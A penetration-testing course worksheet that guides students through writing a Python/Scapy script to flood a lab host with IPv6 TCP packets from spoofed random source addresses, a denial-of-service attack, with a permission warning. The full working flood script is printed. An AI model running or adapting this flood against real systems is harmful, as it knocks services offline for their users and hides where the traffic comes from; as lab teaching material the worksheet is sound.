CO2515 Coding for Penetration Testing Worksheet 4

Aim – To introduce students to some basic PT coding using Python3 and Scapy with IPv6. Only basic programming skills are assumed. All code is written to be as simple as possible.

NOTE – The techniques discussed in this worksheet should only be used on networks with the full written permission of the network owner otherwise you may be in breach of the GDPR.

|  |  |
| --- | --- |
| 1. | In this Lab you will be able to execute a script to launch a denial of service attack. |
| 2. | Create a script called DOS.py |
| 3. | To start with we must be able to generate a random IPv6 address to do this import from the following libraries. |
| 4. | **#!/usr/bin/python3**  **from random import getrandbits**  **from ipaddress import IPv6Network, IPv6Address #Import IPv6 functions from the Python libraries**  **from scapy.all import \*** |
| 5. | We must then define the /128 bit network prefix length each ‘:0:’ represents 16 bits.  Add the code below: |
| 6. | **prefix = '0:0:0:0:0:0:0:0'** |
|  | Now it is time to generate a random address add the following code: |
| 7. | **network = IPv6Network(prefix)**  **address = IPv6Address(network.network\_address + getrandbits(network.prefixlen))** #GENERATE RANDOM BITS FOR A 128 BIT IPV6 ADDRESS  **address = str(address)** #CHANGE ADDRESS CONTENT INTO A STRING  **print (address)** #PRINT ADDRESS |
|  | Try running the code multiple times.  What is the output? |
|  | Add this TCP packet to the bottom of the code. Put the address variable for the random IPV6 address in the source address field. |
|  | **send (IPv6(src = address, dst = "FD80:1234:5678:2::254")/TCP (sport=333, dport=80))** |
|  | Start a packet capture.  Run the script again multiple times. |
|  | Now add the count variable to the packet as seen below: |
|  | **send (IPv6(src = address, dst = "FD80:1234:5678:2::254")/TCP (sport=333, dport=80), count=20000)** |
|  | This should send 20000 packets.  Launch the code again. |
|  | Now create a loop to run the script multiple times, generating a new address for each loop.  Add this statement at the start of the script: |
|  | for x in range(0, 100): |
|  | Your code should look like this: |
|  | **#!/usr/bin/python3**  **from random import getrandbits**  **from ipaddress import IPv6Network, IPv6Address**  **from scapy.all import \***  **for x in range(0, 100):**    **prefix = '0:0:0:0:0:0:0:0'**  **network = IPv6Network(prefix)**  **address = IPv6Address(network.network\_address + getrandbits(network.prefixlen))**  **address = str(address)**    **print (address)**    **send (IPv6(src = address, dst = "FD80:1234:5678:2::254")/TCP (sport=333, dport=80), count=20000)** |
|  |  |
|  | Run the code in a terminal and monitor the CPU usage as well as the packet capture on Gserver. |